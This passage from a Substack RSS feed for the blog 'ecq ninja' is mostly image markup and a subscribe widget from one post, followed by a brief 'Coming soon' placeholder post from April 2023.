848w, https://substackcdn.com/image/fetch/$s_!pufO!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ba13104-fd5d-4c7e-936c-0c2673c609c2.heic 1272w, https://substackcdn.com/image/fetch/$s_!pufO!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ba13104-fd5d-4c7e-936c-0c2673c609c2.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!pufO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ba13104-fd5d-4c7e-936c-0c2673c609c2.heic" width="621" height="145" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9ba13104-fd5d-4c7e-936c-0c2673c609c2.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:145,&quot;width&quot;:621,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:8543,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!pufO!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ba13104-fd5d-4c7e-936c-0c2673c609c2.heic 424w, https://substackcdn.com/image/fetch/$s_!pufO!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ba13104-fd5d-4c7e-936c-0c2673c609c2.heic 848w, https://substackcdn.com/image/fetch/$s_!pufO!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ba13104-fd5d-4c7e-936c-0c2673c609c2.heic 1272w, https://substackcdn.com/image/fetch/$s_!pufO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9ba13104-fd5d-4c7e-936c-0c2673c609c2.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!nMGJ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F986b1287-6384-4951-b0b1-ee84f835165d.heic 424w, https://substackcdn.com/image/fetch/$s_!nMGJ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F986b1287-6384-4951-b0b1-ee84f835165d.heic 848w, https://substackcdn.com/image/fetch/$s_!nMGJ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F986b1287-6384-4951-b0b1-ee84f835165d.heic 1272w, https://substackcdn.com/image/fetch/$s_!nMGJ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F986b1287-6384-4951-b0b1-ee84f835165d.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!nMGJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F986b1287-6384-4951-b0b1-ee84f835165d.heic" width="621" height="145" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/986b1287-6384-4951-b0b1-ee84f835165d.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:145,&quot;width&quot;:621,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:8298,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!nMGJ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F986b1287-6384-4951-b0b1-ee84f835165d.heic 424w, https://substackcdn.com/image/fetch/$s_!nMGJ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F986b1287-6384-4951-b0b1-ee84f835165d.heic 848w, https://substackcdn.com/image/fetch/$s_!nMGJ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F986b1287-6384-4951-b0b1-ee84f835165d.heic 1272w, https://substackcdn.com/image/fetch/$s_!nMGJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F986b1287-6384-4951-b0b1-ee84f835165d.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Qh-Q!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e241e61-fc16-4fb8-b840-a771da60c926.heic 424w, https://substackcdn.com/image/fetch/$s_!Qh-Q!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e241e61-fc16-4fb8-b840-a771da60c926.heic 848w, https://substackcdn.com/image/fetch/$s_!Qh-Q!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e241e61-fc16-4fb8-b840-a771da60c926.heic 1272w, https://substackcdn.com/image/fetch/$s_!Qh-Q!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e241e61-fc16-4fb8-b840-a771da60c926.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Qh-Q!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e241e61-fc16-4fb8-b840-a771da60c926.heic" width="621" height="145" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6e241e61-fc16-4fb8-b840-a771da60c926.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:145,&quot;width&quot;:621,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:7157,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Qh-Q!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e241e61-fc16-4fb8-b840-a771da60c926.heic 424w, https://substackcdn.com/image/fetch/$s_!Qh-Q!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e241e61-fc16-4fb8-b840-a771da60c926.heic 848w, https://substackcdn.com/image/fetch/$s_!Qh-Q!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e241e61-fc16-4fb8-b840-a771da60c926.heic 1272w, https://substackcdn.com/image/fetch/$s_!Qh-Q!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e241e61-fc16-4fb8-b840-a771da60c926.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!pDIK!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe30f8fbd-9eab-4528-acd4-193fd2338924.heic 424w, https://substackcdn.com/image/fetch/$s_!pDIK!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe30f8fbd-9eab-4528-acd4-193fd2338924.heic 848w, https://substackcdn.com/image/fetch/$s_!pDIK!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe30f8fbd-9eab-4528-acd4-193fd2338924.heic 1272w, https://substackcdn.com/image/fetch/$s_!pDIK!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe30f8fbd-9eab-4528-acd4-193fd2338924.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!pDIK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe30f8fbd-9eab-4528-acd4-193fd2338924.heic" width="621" height="145" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e30f8fbd-9eab-4528-acd4-193fd2338924.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:145,&quot;width&quot;:621,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:7680,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!pDIK!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe30f8fbd-9eab-4528-acd4-193fd2338924.heic 424w, https://substackcdn.com/image/fetch/$s_!pDIK!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe30f8fbd-9eab-4528-acd4-193fd2338924.heic 848w, https://substackcdn.com/image/fetch/$s_!pDIK!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe30f8fbd-9eab-4528-acd4-193fd2338924.heic 1272w, https://substackcdn.com/image/fetch/$s_!pDIK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe30f8fbd-9eab-4528-acd4-193fd2338924.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><p></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.ecq.ninja/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading ecq ninja! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Coming soon]]></title><description><![CDATA[This is ecq ninja.]]></description><link>https://www.ecq.ninja/p/coming-soon</link><guid isPermaLink="false">https://www.ecq.ninja/p/coming-soon</guid><dc:creator><![CDATA[ECQ BLOG]]></dc:creator><pubDate>Thu, 06 Apr 2023 05:54:38 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!CFx9!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cbb72a3-36e7-4c2f-931d-146ae664656b_123x123.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This is ecq ninja.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.ecq.ninja/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.ecq.ninja/subscribe?"><span>Subscribe now</span></a></p>]]></content:encoded></item></channel></rss>